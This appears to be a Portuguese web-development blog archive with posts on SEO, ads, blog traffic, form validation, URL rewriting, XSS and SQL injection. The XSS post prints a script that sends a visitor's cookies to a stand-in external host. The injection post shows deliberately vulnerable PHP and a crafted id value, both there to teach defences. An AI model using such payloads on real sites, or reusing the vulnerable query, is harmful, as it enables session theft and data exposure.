SEO – Publicidade (quase) grátis

Published by:

A optimização (SEO – Search Engine Optimization) de um site é hoje das melhores formas de publicidade a um site, e a médio prazo acaba por tornar-se também das mais baratas e efectivas.

A optimização é uma tarefa, por vezes, complexa e morosa, que implica cuidados especiais, conhecimentos alargados e dispendiosa, pois os (poucos) profissionais que realmente sabem como conseguir colocar um site nos motores de pesquisa fazem-se pagar bem por esse conhecimento.

No entanto, esse é um preço que facilmente se recupera.

Anúnciar nos meios tradicionais tem um custo comparativamente menor que optimizar um site de dimensões médias mas, em contrapartida, o beneficio desse custo termina quando o meio utilizado deixa de ser utilizado (no mesmo dia no caso de um jornal diário, ao fim de uma semana no caso de uma revista, no fim do periodo contratado no caso de um outdoor).

Anúnciar na Internet não fica muito mais barato. Os grandes portais portugueses cobram valores na ordem dos 3 a 10 centimos por visualização de banner, e para que uma campanha tenha visibilidade nestes sites é preciso adquirir milhões de visualizações. A homepage de qualquer um destes portais tem milhões de pageviews por dia, pelo que menos de um 1 milhão de banner views (mais de 50 000 Euros, por um dia de campanha).

Anunciando nos motores de pesquisa, como o Google, o Yahoo!, ou o Sapo, pode começar-se com orçamentos mais reduzidos, e a eficiência deste tipo de campanha, quando se pretende tráfego directo para um site, pode ser bastante mais próxima do esperado, uma vez que o custo é pré-definido e pago por visita ao site. Mas ainda assim, os custos deste tipo de campanha dependem em grande medida das palavras que serão o alvo da nossa campanha, e os utilizadores continuaram a fluir para o nosso site apenas enquanto pagarmos para que isso aconteça.

Mas com a optimização Web é diferente.

Optimizar um site para que seja indexado pelos motores de pesquisa de forma mais eficiente é um trabalho que se faz uma vez, e que poderá ter seguimentos menores. A maioria do trabalho faz-se apenas uma vez, podendo ser necessário novamente apenas quando o site for redesenhado, o que se for feito com os devidos cuidados representará um trabalho melhor.

E os resultados vão notar-se para sempre.

Muitas vezes considera-se parte do trabalho de optimização de um site a criação de links noutros sites. Esta tarefa pode ter custos regulares, como seja a compra de links em sites de qualidade em áreas relacionadas com a do nosso site, mas se for devidamente implementados esse links terão um custo bem menor que o custo de uma qualquer campanha, e os seus benefícios indirectos não são conseguidos por menhuma campanha.

Mas antes de chegar aos links, é preciso optimizar o site propriamente dito, e existe muita coisa que pode ser feita, deste a alteração do tipo de URL, até à estrutura do HTML do site, a forma como os próprios conteúdos são escritos, e muito mais.

Beneficios da Optimização Web

Mas, e quais são os benefícios de optimizar um site?

Bem, em primeiro lugar, melhorando a estrutura de um site muitas vezes aumenta-se drásticamente a quantidade de páginas que um utilizador vê antes de sair do site.

Em segundo lugar, quanto mais páginas os motores de pesquisa conseguirem indexar de um site maior é o número de páginas onde podem ser encontrados os conteúdos que um utilizar procura.

Mas o mais importante é mesmo que uma vez optimizado um site, e seguindo meia duzia de indicações (normalmente) simples, esse site mantém-se optimizado por muito tempo, até ser alterado radicalmente, normalmente até ser redesenhado.

Assim, o custo com a optimização é um custo que se tem uma vez, e de que se obtém retorno ao longo do tempo.

E assim, o seu site, ao invés de pagar para aparecer ao lado dos resultados dos motores de pesquisa, pode aparecer directamente nesses resultados, não pagando de cada vez que algum potencial cliente visita o seu site.

Mas os benefícios não são apenas esses. É que a maioria dos utilizadores visita primeiros os sites que aparecem nos resultados de pesquisa, e só depois os anúnciados ao lado, pelo que se o seu site aparece o mesmo número de vezes nos resultados de pesquisa, e nos anúncios ao lado dessa pesquisa, provavelmente terá mais visitas dos resultados de pesquisa do que dos anúncios.

Estudos da MarketingSherpa dizem também que os utilizadores que encontram um site nos resultados de pesquisa compram mais vezes do que os que o encontram nos anúncios ao lado dos resultados de pesquisa (4,2% vs 3,6%), e que essa diferença aumenta ainda mais se considerarmos as compras posteriores (6,3% vs 4,2%).

PpW – Usar Flash e Javascript

Published by:

Hoje, mais do que no passado, o AJAX (Asynchronous JavaScript and XML) parece estar em todo o lado, e os sites dinâmicos criados utilizando essa tecnologia são mais que muitos.

Há alguns dias, o Google disponibilizou o seu Google Web Toolkit, que permite criar aplicações Java, que são depois convertidas para aplicações HTML+Javascript.

O próprio Google utiliza AJAX em várias das suas ferramentas, como seja o Gmail, ou oGoogle Maps. Mas será que o AJAX é o resultado de todas as nossas preces?

E o Flash, que a macromédia tem desenvolvido ao longo de anos, e que hoje é uma ferramenta de desenvolvimento aplicacional completa, utilizada para fazer desde menus animados até jogos ou video players. É esta a solução para as nossas preces?

Bem, mesmo normalmente não utilizando Flash, e raramente recorrendo ao Javascript mais do que o estritamente necessário, concordo que são ferramentas uteis, e que permitem muitas coisas que seria bastante dificeis (ou mesmo impossiveis de conseguir) de outra forma.

Mas, peço desculpa, ainda não aderi à febre. Nem à do Flash, que com a novidade AJAX está a passar, nem à do AJAX. Por duas razões, e que se aplicam a ambas as situações:

  • Não são correctamente indexados;
  • Não são completamente compatíveis.

Não são completamente indexados

Hoje, ao contrário do que acontecia há algum tempo atrás, um flash cuidadosamente criado com esse objectivo em mente já é razoávelmente indexado. Mas apenas se for criado com esse objectivo em mente.

Mas não é isso que acontece normalmente. A maioria dos flahs que vi até hoje não contém directamente os conteúdos, ou quando os contém não estão em texto, mas em imagens, aparentemente para ficarem sempre com a aparência correcta.

Mas mesmo quando os texto estão dentro do flash e são indexáveis, não é possivel os motores de pesquisa enviarem os utilizadores directamente para a página onde se encontram os conteúdos que o utilizador procura.

Problemas idênticos se colocam quando se utiliza JavaScript para criar conteúdos, para os colocar nas páginas, independentemente de esses conteúdos fazerem inicialmente parte do JavaScript de alguma forma ou serem pedidos ao servidor pelo javascript (Sendo que neste caso nenhum motor de pesquisa irá aceder a esses conteúdos, uma vez que não executam o javascript).

Estas situações tornam-se mais graves quando o Javascript ou o Flash é utilizado para menus. Neste caso além de os conteúdos do Flash, ou criados pelo Javascript não serem indexados, também não o são as páginas que são pedidas quando os utilizadores clicam no menu.

Compatibilidade

Vários browsers não têm pluggin de flash, e alguns não executam javascript, pelo que sites que dependam muito dessas ferramentas não serão correctamente vistos nesses browsers.

Dos meus três browsers (Galeon, Mozilla Firefox e Internet Explorer), durante muito tempo apenas um tinha o pluggin de Flash instalado, e utilizadores invisuais, por exemplo, não têm forma de saber onde clicar num menu em flash para acederem a uma página que procuram.

Imagens, mesmo com MAP, isto é, com vários links na mesma imagem, podem ter titles por link, o que permite a qualquer utilizador saber antecipandamente alguma informação acerca do local para onde será enviado quando clicar no local onde tem o cursor. Mas o flash não.

Browsers apenas de texto (muitas vezes os browsers especiais são baseados nessas ferramentas) descrevem as imagens de forma alternativa (utilizando os campos alttitle), mas não têm forma de descrever um flash, e muitos deles também não executam javascript, pois uma grande parte da DOM não se lhes aplicaria de qualquer das formas.

Soluções

Claro que existem soluções de compromisso, como seja, ter um segundo menu, que será mostrado quando o utilizador não tiver flash, ou que esteja noutra parte da página, e que constituia uma alternativa ao menu em Flash ou Javascript, e que os motores de pesquisa também consigam utilizar.

Outra solução será ter uma versão alternativa do site para utilizadores que não têm flash ou javascript, mas isso significa também que os motores de pesquisa irão indexar essa versão e não a primeira, o que pode fazer com que a maioria dos utilizadores passe a utilizar a versão HTML, mesmo tendo flash e javascript.

Mas na verdade, eu utilizaria Flash e Javascript apenas no estritamente necessário. AJAX e outras formas de JavaScript que façam pedidos remotos de conteúdos, no entanto, utilizaria apenas em backoffices e partes de sites que não pretenda que sejam indexados.


PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiTextBB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.


Como conseguir tráfego para o seu blog

Published by:

Seth Godin publicou hoje uma lista de 56 coisas que podemos fazer para conseguir tráfego para o nosso blog.

A lista é constituida de coisas obvias e outras nem tanto, mas penso que a ordem não será a mais indicada, e nem todas as coisas são assim tão relevantes. Mas algumas dessas, mesmo que obvias, merecem uma nota especial:

3. Aprender o suficiente para se tornar um especialista na sua área

Escrever sobre algo que se conhece mal, ou apenas razoávelmente não é impossivel, mas muitas vezes não se podem dar opiniões realmente esclarecidas. Escrever sobre algo que se conhece bem, e de que se gosta, preferêncialmente, é uma forma de escrever mais, e de conseguir oferecer opiniões ou informações que tornem um blog único.

5. Seja Eterno… Escreva posts que possam ser lidos daqui a um ano

Esta é uma opinião vinculada por quase todos os probloggers, de que o histórico é a mais valia de qualquer blog, e de que mais importante do que ter artigos antigos que possam estar relacionados com a actualidade, ter artigos que serão sempre interessantes e relevantes é importante. Estes artigos são também os que são mais propicios a serem linkados por outros bloggers, pois não perdem nunca a relevância.

6. Estar entre os primeiros com um bom blog acerca de um tópico, e depois encorajar outros a escrever acerca do mesmo tópico.

O primeiro acaba por se tornar uma referência entre os seus pares, e tem a vantagem de ter já um histórico de artigos que os restantes ainda terão de criar. Os novos blogs terão também tendência, naturalmente a linkar para os primeiros, por serem referências na área.

48. Ser Paciente

Um site demora tempo a crescer, demora tempo a ser indexado pelos motores de pesquisa, demora tempo a ter uma lista considerável de leitores assiduos, demora tempo a ser linkado por outros bloggers. Ter 100 (cem) pageviews diários ao fim de um mês, sem qualquer publicidade paga pode não ser muito, mas é bastante razoável para a maioria das àreas.

49. Dar crédito aqueles que nos inspiram, o que torna os posts mais uteis.

Dizer quem foram as fontes de inspiração de um post torna os posts mais honestos, permite aos leitores lerem os textos em que nos inspiramos, permite-lhes saber quais foram as novas ideias que introduzimos, e permite que a nossa fonte de inspiração fique a conhecer-nos, e quem sabe um dia retribua os links que fizemos para ele.

51. Escrever apenas acerca de um coisa, em todos os mais infimos detalhes, de forma a tornar-se a referência definitiva.

Pode fazer-se um blog acerca de tudo e mais um par de botas, mas nunca se poderá aprofundar muito cada uma das coisas. Mas se escrever sobre uma área mais estrita pode-se escrever posts muito mais detalhados, o que torna o blog numa referência para quem quer informação mais detalhada.

52. Escrever em Inglês (ou 53. Em chinês)

Escrever em Inglês é uma boa forma de se escrever para todos os publicos educados, no entanto, aqui discordo do Seth, o Inglês é apenas uma das linguas mais faladas no mundo. Se por um lado o Inglês é hoje a Lingua oficial do mundo, aquela que quase todos falamos, oficialmente é a quatra (4ª) lingua nativa do mundo, depois do Chinês, do Hindu e do Espanhol. e seguida do Àrabe e do Português (ver Wikipedia). Eu pessoalmente penso que melhor que ser um blog gramaticalmente pouco correcto na lingua universal, é ser uma referência precisa, culta e correcta na nossa própria lingua. Para mim, tão mau como ser técnicamente incorrecto é ter erros ortográficos e gramaticais obvios.

56. Escreve acerca de coisas que as pessoas queiram ler e partilhar

Esta seria a primeira na minha lista, pois penso que de nada serve escrever algo que não interessa a ninguém, especialmente se o que pretendemos é tráfego, que era a intensão base da lista do Seth.

Nesta lista de 56 pontos existem outros 48 que não referi, por considerar que estes eram os mais dignos de notas. Isso não quer dizer que os restantes pontos não sejam igualmente importantes. Pelo contrário. Apenas não pretendi re-escrever aqui a lista do Seth. Vejam a lista completa, How to get traffic for your blog, no blog do Seth Godin.


PpW – Verificar campos de forms

Published by:

Uma coisas que frequentemente me dizem é para verificar os campos dos forms client-side (em Javascript, no browser) e não server-side (em PHP ou Perl, no servidor).

E é relativamente comum os campos serem verificados realmente client-side, e nunca serem verificados server-side.

Hoje a Internet é um meio acessível a pessoas com quase todo o tipo de conhecimentos de informática, desde os utilizadores finais, que não querem saber muito mais do que onde precisam de clicar para fazerem o que querem, até aos hacker (NOTA: hacker é uma palavra que sempre utilizado para abranger todos aqueles a quem não basta saber que as coisas funcionam, precisam de saber como e porquê) que conseguem, no caso da WEB, fazer requests HTTP manualmente, sem utilizar browsers.

Entre estes dois extremos existem vários níveis e a maioria dos utilizadores dividem-se por essa escala de forma mais ou menos disforme.

Quando fazemos verificações client-side estamos a pensar apenas nos primeiros níveis dessa escala, naqueles que apenas utilizam o site da forma que ele permite ser utilizado, que se limitam a utilizar o browser, normalmente o que vinha com o computador quando o compraram, algumas vezes um outro que alguém lhes instalou.

Mas esquecemos todos os que se encontram nos ultimos níveis da escala, aqueles que conhecem ferrementas que permitem fazer submissão de dados por HTTP sem serem os browsers, e aqueles que têm os conhecimentos de programar essas ferramentas.

Fazer um pequeno programa que enviar dados como se eles estivessem a ser enviados por um browser é bastante simples em várias linguagens. Em Perl, por exemplo, não passa de meia duzia de linhas de código (se não considerarmos os módulos utilizados, que estão já disponiveis).

Se as verificações forem feitas apenas no cliente os dados submetidos desta forma nunca são verificados. Mas se as verificações forem feitas no servidor não importa como os dados são enviados, são sempre verificados.

Concordo que fazer as verificações no cliente é mais rápido, pois podem ser feitas campo a campo, ou podem ser feitas antes de os dados do formulário serem enviados, o que permite reduzir o número de páginas pedidas ao servidor.

No entanto, fazer verificações apenas do lado do cliente é uma óptima forma de acabar com dados inconsistêntes na base de dados.

Se pretende fazer verificações do lado do cliente, não se esqueça de as fazer TAMBÉM do lado do servidor. O tempo que ocupa com essa tarefa é facilmente ganho mais tarde quando tentarem colocar dados inconsistêntes na sua base de dados.


Publicidade – quando colocar

Published by:

Você cria um novo site, e questiona-se se deve ou não colocar publicidade nesse site. Questiona-se talvez se a deve colocar desde o inicio ou se o deve fazer mais tarde.

O Darian, no site Problogger.net, colocou online a noite passada um Post a que chamou How quickly after starting a blog should I put ads on it? (Quão depressa depois de começar um blog é que devo colocar-lhe anúncios?), em que refere duas situações distintas, e que vou aqui reproduzir e acrescentar uma terceira possibilidade.

As possibilidade avançadas pelo Darian são.

  • Colocar publicidade desde o dia 1
  • Conseguir leitores e depois adicionar leitores

A terceira possibilidade que eu me arrisco avançar é:

  • Nunca adicionar anúncios

Vejamos cada uma dessas situações, sendo que nas hipóteses avançadas pelo Darian concordo basicamente com ele, pelo que resumo aqui o post dele, e adiciono algumas notas pessoais:

Colocar publicidade desde o dia 1

Eu pessoalmente enquadro-me neste grupo, e foi este o principio que segui neste site. As razões para se colocarem anuncios desde o primeiro dia numa blog ou num site são várias:

  • Expectativas dos leitores – Criar um blog sem publicidade pode criar a expectativas nos leitores de que irá manter-se sempre assim, e desiludir alguns desses leitores quando esse situação for alterada. Alguns leitores podem não gostar.
  • Design – Colocar anúncios desde o inicio permite que estes já estejam contemplados no design original, e não sejam depois colocados de forma menos estética.
  • Receita – Colocar anúncios desde o principio permite ver retorno desde o principio. Pode não ser muito, mas permite verificar a sua evolução. Dois centimos na primeira semana, cinco na segunda e 10 na terceira são uma evolução e ainda que não paguem o tempo permitem percebe que se está a evoluir no sentido pretendido.
  • Aprender a optimizar anúncios – Colocar anúncios desde o ínicio permite fazer teste com eles enquanto o site tem poucos utilizadores, o que significa que poucas pessoas irão ver os erros que se cometem. Quando se colocam os anúncios quando o site já tem tráfego considerável mais pessoas percebem que se está a experimentar.

Conseguir leitores e depois adicionar publicidade

A teoria por detrás desta abordagem é que colocando anúncios desde o primeiro dia se podem afastar leitores do site, pois parecerá muito comercial, muito interessado em ganhar dinheiro.

A ideia é que se podem depois adicionar os anúncios mais tarde, à medida que vamos ganhando leitores.

Nunca adicionar anúncios

Se por um lado, com a maioria dos blogs profissionais a publicidade, independentemente da sua forma, é uma das poucas formas de rentabilizar um site, por outro lado há muitos sites em que, penso, a publicidade deve ser evitada.

Alguns exemplos deste tipo de sites:

  • Blogs pessoais – Num blog pessoal, em que não existe um foco numa àrea mais comercial ou técnica, onde, por exemplo, se comenta o dia a dia, se colecionam os poemas, as musicas ou os comentários aos filmes do fim de semana, de forma simples e despretenciosa dificilmente se conseguirá um retorno significativo, especialmente se não existir uma quantidade de tráfego razoável.
  • Sites empresariais – Em sites empresariais, onde anúnciamos os nossos produtos ou serviços, a última coisa que pretendemos é que os nossos potênciais clientes cliquem num anúncio e se vão embora. Principalmente porque o mais provável de acontecer é clicarem num anúncio de um concorrente, o que diminui consideravelmente a probabilidade de conseguirmos a nossa venda.
  • Sites com acesso pago – Poucos utilizadores gostam de pagar e ainda continuar a ver publicidade, especialmente se falamos de popups, intersticials, e outras formas de publicidade intrusivas, que alterar a experiência de navegação do utilizador. Este tipo de publicidade é sempre incomuda, mas se o utilizador já está a pagar para ter acesso ao site pior.

Leiam também o post do Darian, chamado How quickly after starting a blog should I put ads on it?.


PpW – A diferença nos URLs

Published by:

Quando se programa para WEB a solução mais fácil é utilizar os parâmetros para tudo o que seja informação dinâmica, como os identificadores das categorias, dos artigos, ou de qualquer outra coisa que se pretenda apresentar, criando URLs do tipo lista.php?id=123ou lista/index.html?id=123.

Nada de grava haveria a dizer desta prática não fosse realidade:

  • O Google não indexa links com o parâmetro id com valores com mais do que uma determinada dimensão (4 ou 5 digitos)
  • Os motores de pesquisa em geral não indexam, ou indexam de forma menos satisfatória URLs com mais do que 2 parâmetros.

Mas como podemos deixar de utilizar este tipo de URLs? Há várias formas e várias ferramentas que permitem resolver este problema.

A mais abrangente delas é talvez o mod_rewrite do Apache, servidor instalado na grande maioria dos hostings, e que permite tranformar URLs. Por exemplo, se pretendermos que o nosso URL lista.php?id=123 passe a ser lista/123.html, isso pode ser conseguido com o mod_rewrite, adicionando às configurações do apache, ou em alguns casos a um ficheiro .htaccess na raiz do seu site a seguinte linha:


RewriteRule ^/lista/(.*).html /lista.php?id=$1 [PT]

Esta simples regra faz com que sempre que um URL do tipo /lista/123.html for pedido ao nosso servidor, o mod_rewrite irá alterar o URL para /lista.php?id=123 que o apache depois tenta servir, processando assim o nosso script PHP original.

O mesmo pode ser feito para qualquer outro URL, e tendo em conta que o primeiro parâmetro é uma regular expression, quase qualquer transformação pode ser feita nos URLs. É preciso apenas um pouco de jeito, alguma persistência, e imaginação.

E a diferença que isso pode fazer na quantidade de páginas de um site nos indices principais do Google e dos outros motores de pesquisa faz TODA a diferença.

O maior trabalho num site já feito acaba por ser mesmo alterar todos os links, e todos os locais onde os links são criados para utilizar os novos URLs.

Claro que esta solução não passa de um remendo. Muitas linguagens e frameworks de programação para WEB já permitem por si só utilizar URLs dinâmicos, e permitem implementar directamente este tipo de URLs.


PPW – Parâmetros e Dados

Published by:

Introdução

POSTs e GETs, o que são

Na Web, quando uma página tem um formulário, os valores introduzidos nesses formulários podem ser enviados para o servidor de duas formas distintas.

A primeira é acrescentando no nomes dos campos e os respectivos valores ao URL. Este método chama-se GET, e tem várias vantagens e desvantagens.

Por um lado os GETs podem ser facilmente guardados em caches, sendo assim servidos mais rapidamente nas vezes seguintes que forem pedidos. Esta vantagem é também uma desvantagem, uma vez que isso significa que da próxima vez que o mesmo pedido for efectuado, este pode nunca chegar ao servidor, pois pode ser servidor por uma qualquer proxy que se encontre pelo caminho, a começar pelo proxy transparente que a maioria dos ISPs (telepac, netcabo, etc) têm.

Por outro lado, este método pode facilmente ser reconstruido e utilizado em links (o que acontece muitas vezes). É comum hoje vermos site com links do tipo index.php?id=12345. Estes links, na prática, estão apenas a tirar partido do sistema de GET pensado inicialmente para os formulários.

Os GETs, no entanto, não permitem tudo o que se pretende fazer actualmente com um formulário. O tamanho máximo dos URLs está limitado (o limite depende da implementação), e alguns tipos de dados, como os uploads de ficheiro, apenas podem ser feitos por POST.

Ao contrário dos GETs, nos POSTs os dados preenchidos nos formulários são enviados no corpo de pedido HTTP, pelo que não existem limites para a quantidade de dados enviados.

Ao contrário dos GETs, os POSTs nunca sao guardados em caches ou proxies, pois os proxies (normalmente) lêm apenas os headers dos pedidos HTTP, e por essa razão não conseguem destinguir dois pedidos feitos por POST. As definições do protocolo HTTP também definem que os POSTs não devem ser guardados em cache.

Utilizações dos dados

Os dados que os utilizadores colocam nos formulários, ou que são passados nos URLs são utilizados de diversas formas, sendo as mais comuns a alteração ou selecção de dados em bases de dados (que podem ser ficheiros em disco), o envio de emails, entre outras (o limite é a imaginação).

O exemplo mais simples talvez seja mesmo o parâmetro no URL, o index.php?id=1234 de que falamos acima. Normalmente este parâmetro será utilizado para selecionar numa base de dados um artigo, e mostrá-lo ao utilizador.

Assumindo que o index.php não faz mais nada, é suficiente o código seguinte para completar a tarefa pretendida (sem design, apenas o titulo e corpo do artigo, de uma tabela com 4 campos:

  • id – o id do artigo
  • title – o seu titulo
  • body – o corpo do artigo
  • publico – 1 se o artigo é publico, 0 se não o for.


<?php
$id=$_REQUEST['id'];
$db=mysql_connect('localhost','username','password');
mysql_select_db('sitedb',$db);
$query="SELECT title,body from stories WHERE id=$id AND publico=1";
if ($sel=mysql_query($query)) {
if ($res=mysql_fetch_assoc($sel)) {
echo "<h1>{$res['title']}</h1>{$res['body']}";
}
}
?>

Apenas algumas linhas de código, e um erro relativamente comum, especialmente em locais onde o ficheiro assim criado é utilizado “apenas” em listagens criadas automaticamente.

Sim, neste caso abrimos a porta a que qualquer artigo seja visivel, mesmo que o campo publico seja 0. Como?

Passando, por exemplo, no campo id o valor id=123 OR 1=0, o que irá fazer com que a nossa query passe então a ser:


SELECT title,body from stories WHERE id=123 OR 1=0 AND publico=1

Como o AND é verificado antes do OR, qualquer artigo com o id=123 passa a ser uma resposta válida para a query, uma vez que o conjunto 1=0 AND publico=1 é sempre falso, e consequentemente descartável, desde que id=123 seja verdadeiro.

Em php podemos evitar esta situação utilizando a função mysql_real_escape_string e colocando sempre os valores entre plicas (‘), como se segue:


<?php
$id=mysql_real_escape_string($_REQUEST['id']);
$db=mysql_connect('localhost','username','password');
mysql_select_db('sitedb',$db);
$query="SELECT title,body from stories WHERE id='$id' AND publico=1";
if ($sel=mysql_query($query)) {
if ($res=mysql_fetch_assoc($sel)) {
echo "<h1>{$res['title']}</h1>{$res['body']}";
}
}
?>

Duas pequenas alterações, mas que fazem toda a diferença. Deve colocar os valores entre plicas mesmo que os valores esperados sejam numéricos, ou então deve verificar se os valores têm realmente o formato esperado.

Conclusão

Isto é importante não apenas nos valores recebidos no URL, mas em todos os valores que sejam recebidos do utilizador, seja em URLs, seja em POSTs de formulários.

São pequenas alterações no seu código, mas que podem tornar a sua aplicação muito mais segura.

As linguagens e motores de base de dados que conheço têm um equivalente ao aqui apresentado. Se não existir implementado na que utiliza vale a pena perder uma ou duas horas, descobrir quais os caracteres que é preciso escapar no sistema que utiliza e implementar uma função que o faça, e que poderá reutilizar sempre que pretender.

Programar para web e manter os dados seguros não são necessariamente incompativeis. Basta seguir algumas regras simples. A maioria dos truques são muito simples, e mais simples ainda de impedir.

Programar para Web

Published by:

Quando se programa para Internet há todo um conjunto de considerações que é preciso ter, e que em ambientes fechados pouco ou nada se pensa nelas.

Quando falo em programar para web, falo de desenvolvimento de sites que estarão disponíveis para o grande publico, sites abertos. Há, claro, considerações especiais a ter quando se programam aplicações fechadas sobre ambiente WEB, mas isso são águas para outras moagens.

Há considerações de diversas ordens a fazer:

  1. Segurança – As considerações de segurança são as que vão no sentido de impedir que alterem o site de forma não pretendida, de impossibilitar que o site seja utilizado para propósitos que não aqueles para que foi concebido, e de não permitir a apropriação de informação que não se pretende que seja acessivel.
  2. Usabilidade – A usabilidade tem a ver com a facilidade de utilização do site, com a capacidade dos visitantes facilmente encontrarem a informação que pretendem, e de o fazerem da forma mais confortável possivel.
  3. Indexação – A indexação é uma das coisas que apenas quando se programa para Web se passa a considerar. E mesmo assim muitas vezes não se tem verdadeiramente noção da sua importância. Algumas pequenas alterações podem fazer toda a diferênça no tráfego de um site.

Segurança

Quando se fala de segurança fala-se de tudo o que tenha a ver com validar toda a informação que se recebe dos utilizadores de um site.

Muitas vezes essas verificações são feitas apenas nos formulários, e muitas vezes apenas do lado do utilizador, utilizando JavaScript.

Mas isto não é o suficiente. Ultrapassar validações efectuadas do lado do cliente é facil. Muito fácil.

Assim como também é simples alterar os parâmetros passados no URL, utilizados muitas vezes em links sem grande pudor ou cuidado.

Usabilidade

O local onde as coisas são colocadas num site pode fazer toda a diferença na performance desse site. Colocar um ménu à direita ou esquerda faz diferença. Toda a diferença.

Mas a usabilidade é mais do que isso. Como é que o site será visto por invísuais, que têm que recorrer à ajuda preciosa de programas que se baseiam na estrutura do código de um site para o apresentar?

Estão as coisas que pretende destacar nos locais que os utilizadores as procuram?

Indexação

Você todos os dias coloca novos conteúdos no seu site, tem já algumas centenas de artigos publicados, o seu site tem meses de existência, mas o tráfego que o seu site recebe dos motores de pesquisa é baixo, quase insignificante.

Será que o seu site está a ser correctamente indexado?

Estes temas serão tratados aqui ao longo dos próximos dias. Permaneça comigo, e fique a saber um pouco mais sobre como melhorar o seu site.

Artigos nesta série

Segurança

Usabilidade

Indexação

Performance

A sua assinatura no produto final

Published by:

Hoje adicionei mais meia duzia de feeds ao meu akregator, entre eles o de Lee Iwan, que anotava no seu blog um dia destes acerca de uma citação de Ray Evernham, chefe de equipa no NASCAR, num post a que chamou “Is your signature on the finished product?

A citação é Toda a gente deve sentir-se como se a sua assinatura estivesse no producto final.

Pensando um pouco sobre o tema, e penso que nem precisamos de o fazer durante muito tempo, rapidamente concluimos que esse é muitas vezes um dos problemas generalidados na nossa sociedade.

A maioria de nós trabalho por dinheiro, e não tem muita preocupação com a qualidade do trabalho que executa, pois não sente que a sua assinatura irá ficar no trabalho final.

Mas que assinatura pode colocar cada um de nós no trabalho final? Sim, muitas vezes não se tem liberdade de se colocar a própria assinatura nos nossos trabalhos. As empresas muitas vezes, mesmo em áreas mais “intelectuais”, querem trabalho em série, querem mais do mesmo, muitas vezes sem se permitir que as pessoas que fazem o trabalho se identifiquem com ele, sem permitir que lhe coloquem a própria assinatura.

Mas isso faz com que as pessoas deixem de se idêntificar com os projectos, e globalmente com a empresa, e passem a trabalhar pelo dinheiro, quando muitas vezes estão em áreas de actividade em que até trabalhariam pelo prazer.

Não que dispensassem o ordenado pelo sentimento de posse, afinal precisam dele para pagar as contas, mas fariam certamente mais e melhor se lhes fosse dada a oportunidade de, cada um à sua meneira, marcar a diferença nos projectos em que trabalham.

E a diferença de produtividade de um trabalhador orgulhoso do trabalho feito não tem preço.